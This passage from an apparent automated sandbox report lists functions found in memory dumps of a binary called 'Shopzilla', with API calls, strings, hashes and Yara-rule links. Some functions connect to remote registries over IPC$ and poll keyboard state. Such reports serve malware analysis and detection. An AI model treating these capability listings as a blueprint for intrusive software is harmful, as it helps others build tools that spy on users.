PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00BF0F17

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 2751501086-0
Opcode ID: 274e59cee696ac3c31b283619031e7099891f84f728ed35c186a7a910bb62320
Instruction ID: 7961bee5cc9675efb6c8634ec8160fbb32f0d13a3852ac0211cb35dcf7056b28
Opcode Fuzzy Hash: 274e59cee696ac3c31b283619031e7099891f84f728ed35c186a7a910bb62320
Instruction Fuzzy Hash: 30711175610609BFFB20AB54CC89FBABFA5FF04724F204256FA14671E2C7B06814DB91

Function 00BF81DD Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB1821: _memmove.LIBCMT ref: 00BB185B

_memset.LIBCMT ref: 00BF826C
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00BF82A1
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00BF82BD
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00BF82D9
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00BF8303
CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 00BF832B
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00BF8336
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00BF833B

Strings

\CLSID, xrefs: 00BF8223
SOFTWARE\Classes\, xrefs: 00BF820D
\IPC$, xrefs: 00BF8283

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1411258926-22481851
Opcode ID: c4aa1ab7f48c3f18034dc7c84a83362f9f926daa6af31251cc32a735e7f73184
Instruction ID: 672a3eaf80f4e833ea8b94a6a3e26c3c106b68390788a4c81649d51a9d0fd6b9
Opcode Fuzzy Hash: c4aa1ab7f48c3f18034dc7c84a83362f9f926daa6af31251cc32a735e7f73184
Instruction Fuzzy Hash: 78410776C1022CABCF15EBA4DCA5AFEB7B8FF04740B4045A9F901A7161DA705D49CB90

Function 00C21242 Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00C201D5,?,?), ref: 00C21259

Strings

HKLM, xrefs: 00C212D7
HKCU, xrefs: 00C21349
HKCC, xrefs: 00C21327
HKEY_CURRENT_CONFIG, xrefs: 00C21316
HKEY_CLASSES_ROOT, xrefs: 00C212EC
HKEY_LOCAL_MACHINE, xrefs: 00C212C2
HKCR, xrefs: 00C21301
HKEY_CURRENT_USER, xrefs: 00C21338
HKU, xrefs: 00C2136B
HKEY_USERS, xrefs: 00C2135A

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: b211b2ebfb71978b274960a0f2f34b70e269f1bd6cf1986b0a43adbd940db328
Instruction ID: 6c9f4949625ec2eb1cb3163398cf6e487ab3f030d3d61ccf93d6a5d5b79d72d8
Opcode Fuzzy Hash: b211b2ebfb71978b274960a0f2f34b70e269f1bd6cf1986b0a43adbd940db328
Instruction Fuzzy Hash: AD417C7411021A8BCF04EF50E851AFE37A5FF61304F844698FD664BAA2DBB0DE59CB61

Function 00BFFD3F Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00BEFAC1,00000010,?,Bad directive syntax error,00C30980,00000000,?,?,?), ref: 00BFFD60
LoadStringW.USER32(00000000,?,00BEFAC1,00000010), ref: 00BFFD67

Part of subcall function 00BB1A36: _memmove.LIBCMT ref: 00BB1A77

_wprintf.LIBCMT ref: 00BFFD9A
__swprintf.LIBCMT ref: 00BFFDBC
MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00BFFE2B

Strings

., xrefs: 00BFFE11
%s (%d) : ==> %s.: %s %s, xrefs: 00BFFD95
Error: , xrefs: 00BFFDF9
Line %d:, xrefs: 00BFFDB6
Line %d (File "%s"):, xrefs: 00BFFDD1

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: HandleLoadMessageModuleString__swprintf_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 1506413516-4153970271
Opcode ID: 491d198ec25226fe7f341d0339d8bb437eb3c6064a647766590391d058dad2a8
Instruction ID: f766320aab50f32f0904e5097b6b2deff83e864079955bd403db72836bb7cc94
Opcode Fuzzy Hash: 491d198ec25226fe7f341d0339d8bb437eb3c6064a647766590391d058dad2a8
Instruction Fuzzy Hash: BF21507280021EABCF11AF94CC6AFFE77B9FF14300F4448A5F515620A1DA71AA68DB10

Function 00C056EF Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 00BB1821: _memmove.LIBCMT ref: 00BB185B

Part of subcall function 00BB153B: _memmove.LIBCMT ref: 00BB15C4

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00C05758
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00C0576E
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00C0577F
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00C05791
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00C057A2

Strings

play PlayMe, xrefs: 00C0579D
close PlayMe, xrefs: 00C05769, 00C05796
alias PlayMe, xrefs: 00C05731
open , xrefs: 00C05707
play PlayMe wait, xrefs: 00C0578C
status PlayMe mode, xrefs: 00C05753

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: 141fb5d75f78be0479db9b09281b23dee4258b3c8c32fdfe2adff32548432f3d
Instruction ID: 673aa4bdabfea682bba9ce58cae4bf343218eebd53729af6bff8487f1fd40808
Opcode Fuzzy Hash: 141fb5d75f78be0479db9b09281b23dee4258b3c8c32fdfe2adff32548432f3d
Instruction Fuzzy Hash: 4211C874950119BADB20A769DC69DFF7BBCEFE1B40F4008B9B811A20D1DEB01D49C9B0

Function 00C04A79 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00C04A94
gethostname.WSOCK32(?,00000100), ref: 00C04AAE
gethostbyname.WSOCK32(?), ref: 00C04ABB
_wcscpy.LIBCMT ref: 00C04AE3
_memmove.LIBCMT ref: 00C04AF6
inet_ntoa.WSOCK32(?), ref: 00C04B01
_strcat.LIBCMT ref: 00C04B0F
_wcscpy.LIBCMT ref: 00C04B26
WSACleanup.WSOCK32 ref: 00C04B34
_wcscpy.LIBCMT ref: 00C04B42

Strings

0.0.0.0, xrefs: 00C04ADD

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: f510040dd344aac97b5e94e547f984ba9f8aa7bdb1061fa6f8b6520af53c4693
Instruction ID: f34d42720db4ef148e1fc9ab9d734b20e8ab1e52c7a644afe62d68d8ab8ec30b
Opcode Fuzzy Hash: f510040dd344aac97b5e94e547f984ba9f8aa7bdb1061fa6f8b6520af53c4693
Instruction Fuzzy Hash: 4711E772914208ABCB28B7619C46FDF7BBCDF41711F1401A9F505A60D2EF70DA81DA91

Function 00C0539D Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00C053A2

Part of subcall function 00BC074E: timeGetTime.WINMM(?,00000002,00BAC22C), ref: 00BC0752

Sleep.KERNEL32(0000000A), ref: 00C053CE
EnumThreadWindows.USER32(?,Function_00065350,00000000), ref: 00C053F2
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00C05414
SetActiveWindow.USER32 ref: 00C05433
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00C05441
SendMessageW.USER32(00000010,00000000,00000000), ref: 00C05460
Sleep.KERNEL32(000000FA), ref: 00C0546B
IsWindow.USER32 ref: 00C05477
EndDialog.USER32(00000000), ref: 00C05488

Strings

BUTTON, xrefs: 00C05406

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 6b6781c5d57f463ba7dbbb62e78af436121ed8d274abb247f9f9f4ab3ce902f4
Instruction ID: f1b6b7b53c4137cc8ca2e6492176c6e592543f98a65562ac63018d22827a828f
Opcode Fuzzy Hash: 6b6781c5d57f463ba7dbbb62e78af436121ed8d274abb247f9f9f4ab3ce902f4
Instruction Fuzzy Hash: 5121A171204A09AFE7215B61ED99B3F3B6DEB4434EF201954F512821F1CBB18D50DF62

Function 00C0DA3D Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA4D37: __itow.LIBCMT ref: 00BA4D62
Part of subcall function 00BA4D37: __swprintf.LIBCMT ref: 00BA4DAC

CoInitialize.OLE32(00000000), ref: 00C0DA9A
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00C0DB2D
SHGetDesktopFolder.SHELL32(?), ref: 00C0DB41
CoCreateInstance.OLE32(00C33D4C,00000000,00000001,00C59BEC,?), ref: 00C0DB8D
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00C0DBFC
CoTaskMemFree.OLE32(?,?), ref: 00C0DC54
_memset.LIBCMT ref: 00C0DC91
SHBrowseForFolderW.SHELL32(?), ref: 00C0DCCD
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00C0DCF0
CoTaskMemFree.OLE32(00000000), ref: 00C0DCF7
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 00C0DD2E
CoUninitialize.OLE32(00000001,00000000), ref: 00C0DD30

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: a6856c80b4af372e24fe53e45bbf4ff1ddfb915821654ba9134a5fc688d6c5aa
Instruction ID: 1bfcdcf2ea1dbc6f9049c61ab846f16ecf129b5f0bc50c003117394b66b77f83
Opcode Fuzzy Hash: a6856c80b4af372e24fe53e45bbf4ff1ddfb915821654ba9134a5fc688d6c5aa
Instruction Fuzzy Hash: DDB1FD75A00109AFDB14DFA4C898EAEBBF9FF49304B148499F906EB251DB70EE45CB50

Function 00C00687 Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00C00702
SetKeyboardState.USER32(?), ref: 00C0076D
GetAsyncKeyState.USER32(000000A0), ref: 00C0078D
GetKeyState.USER32(000000A0), ref: 00C007A4
GetAsyncKeyState.USER32(000000A1), ref: 00C007D3
GetKeyState.USER32(000000A1), ref: 00C007E4
GetAsyncKeyState.USER32(00000011), ref: 00C00810
GetKeyState.USER32(00000011), ref: 00C0081E
GetAsyncKeyState.USER32(00000012), ref: 00C00847
GetKeyState.USER32(00000012), ref: 00C00855
GetAsyncKeyState.USER32(0000005B), ref: 00C0087E
GetKeyState.USER32(0000005B), ref: 00C0088C

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 6baf29e255482475177ed557769655f395829da9ee0930e019f90f5a5b5fe2ca
Instruction ID: 51bb697c731d5e484de99327456b61da015e611a90a6fa48ab1fec026e472755
Opcode Fuzzy Hash: 6baf29e255482475177ed557769655f395829da9ee0930e019f90f5a5b5fe2ca
Instruction Fuzzy Hash: 3051E830A0478829FB34E7B084157ABFFB59F01340F19869E99D6571C3DA64AB8CCBA1

Function 00BFCBE3 Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00BFCBFF
GetWindowRect.USER32(00000000,?), ref: 00BFCC11
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 00BFCC6F
GetDlgItem.USER32(?,00000002), ref: 00BFCC7A
GetWindowRect.USER32(00000000,?), ref: 00BFCC8C
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 00BFCCE0
GetDlgItem.USER32(?,000003E9), ref: 00BFCCEE
GetWindowRect.USER32(00000000,?), ref: 00BFCCFF
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00BFCD42
GetDlgItem.USER32(?,000003EA), ref: 00BFCD50
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00BFCD6D
InvalidateRect.USER32(?,00000000,00000001), ref: 00BFCD7A

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: e27035cce0bc1590ae134fe22a4db1e9c293b5f4239824f073ac9c4e0a133971
Instruction ID: 3b75875c36db561991e879ad7e7bf62290116d264f064c371f85f4ad574e0ff6
Opcode Fuzzy Hash: e27035cce0bc1590ae134fe22a4db1e9c293b5f4239824f073ac9c4e0a133971
Instruction Fuzzy Hash: 9B518371B10209AFDB18CF68CD99BAEBBF6EB88310F24816DF615D7290D770AD448B50

Function 00BA23F7 Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA1F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00BA2412,?,00000000,?,?,?,?,00BA1AA7,00000000,?), ref: 00BA1F76

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00BA24AF
KillTimer.USER32(-00000001,?,?,?,?,00BA1AA7,00000000,?,?,00BA1EBE,?,?), ref: 00BA254A
DestroyAcceleratorTable.USER32(00000000), ref: 00BDBF17
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00BA1AA7,00000000,?,?,00BA1EBE,?,?), ref: 00BDBF48
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00BA1AA7,00000000,?,?,00BA1EBE,?,?), ref: 00BDBF5F
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00BA1AA7,00000000,?,?,00BA1EBE,?,?), ref: 00BDBF7B
DeleteObject.GDI32(00000000), ref: 00BDBF8D

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 5398f5e522fd6a0301df6dc6fcc68a9a965f614aecc25cd3b302c745ee0b4a86
Instruction ID: d3ae052b363f8d815592d2b283a246b010442fa5e9af12bbac120b4a629940af
Opcode Fuzzy Hash: 5398f5e522fd6a0301df6dc6fcc68a9a965f614aecc25cd3b302c745ee0b4a86
Instruction Fuzzy Hash: FB61BC31518601DFDB359F29CD98B2EBBF1FB4A316F1085ADE54247AA0CB71A890DF90

Function 00BA2581 Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 00BA29AB: GetWindowLongW.USER32(?,000000EB), ref: 00BA29BC

GetSysColor.USER32(0000000F), ref: 00BA25AF

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 688683b699f7192063bfe6ab66134e15e172c4bbcc4cd34d6ccbc5b1b44adf5e
Instruction ID: 556eaa383495cab76d9a3695d0b5ff2c3d23591079b63fdaf4e412b6afbf9f61
Opcode Fuzzy Hash: 688683b699f7192063bfe6ab66134e15e172c4bbcc4cd34d6ccbc5b1b44adf5e
Instruction Fuzzy Hash: B041C331009110AFDB255F2C9C98BBD3BB5EB0B331F2942A5FD658A2E6D7308C41EB61

Function 00BB29BE Relevance: 18.0, APIs: 4, Strings: 6, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 00BC0AB6: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00BB2A3E,?,00008000), ref: 00BC0AD2

Part of subcall function 00BC01AF: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00BB2A58,?,00008000), ref: 00BC01CF

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00BB2ADF
SetCurrentDirectoryW.KERNEL32(?), ref: 00BB2C2C

Part of subcall function 00BB3EBE: _wcscpy.LIBCMT ref: 00BB3EF6

Part of subcall function 00BC379F: _iswctype.LIBCMT ref: 00BC37A7

Strings

Unterminated string, xrefs: 00BF0056
AU3!, xrefs: 00BB2A93
Bad directive syntax error, xrefs: 00BF000F
EA06, xrefs: 00BEFCC8
#include depth exceeded. Make sure there are no recursive includes, xrefs: 00BEFC97
Error opening the file, xrefs: 00BEFCB3, 00BEFD2A

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-3738523708
Opcode ID: b37f4e5cfdba6411090cc24a9235d0f72af8f90a05d80076c1a14c0b3ea0b780
Instruction ID: 807483e80d62bab8524120641007d8d1c33fb763a323e1d4a439adef2d23c276
Opcode Fuzzy Hash: b37f4e5cfdba6411090cc24a9235d0f72af8f90a05d80076c1a14c0b3ea0b780
Instruction Fuzzy Hash: 2A02BF705083419FC724EF24C891ABFBBE5EF89314F1049ADF499972A2DB70DA49CB52

Function 00C0AD57 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00C30980), ref: 00C0ADBB
GetDriveTypeW.KERNEL32(00000061,00C59970,00000061), ref: 00C0AE85
_wcscpy.LIBCMT ref: 00C0AEAF

Strings

ramdisk, xrefs: 00C0AE2F
all, xrefs: 00C0ADC1
cdrom, xrefs: 00C0ADD7
removable, xrefs: 00C0ADED
fixed, xrefs: 00C0AE03
network, xrefs: 00C0AE19
unknown, xrefs: 00C0AE46

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: 58aad49060df19cf562414eba955f3f8690c55ff2822db918e9d19143480057e
Instruction ID: c95bf8817c1337b01052c20fb383189a510a9fbd6eff7ff057b9b7ebeac788ab
Opcode Fuzzy Hash: 58aad49060df19cf562414eba955f3f8690c55ff2822db918e9d19143480057e
Instruction Fuzzy Hash: 2D51AF701183019FC714EF14C892AAFB7E9EF85700F50486DF9A6572E2DBB1DE19CA52

Function 00BA4D37 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

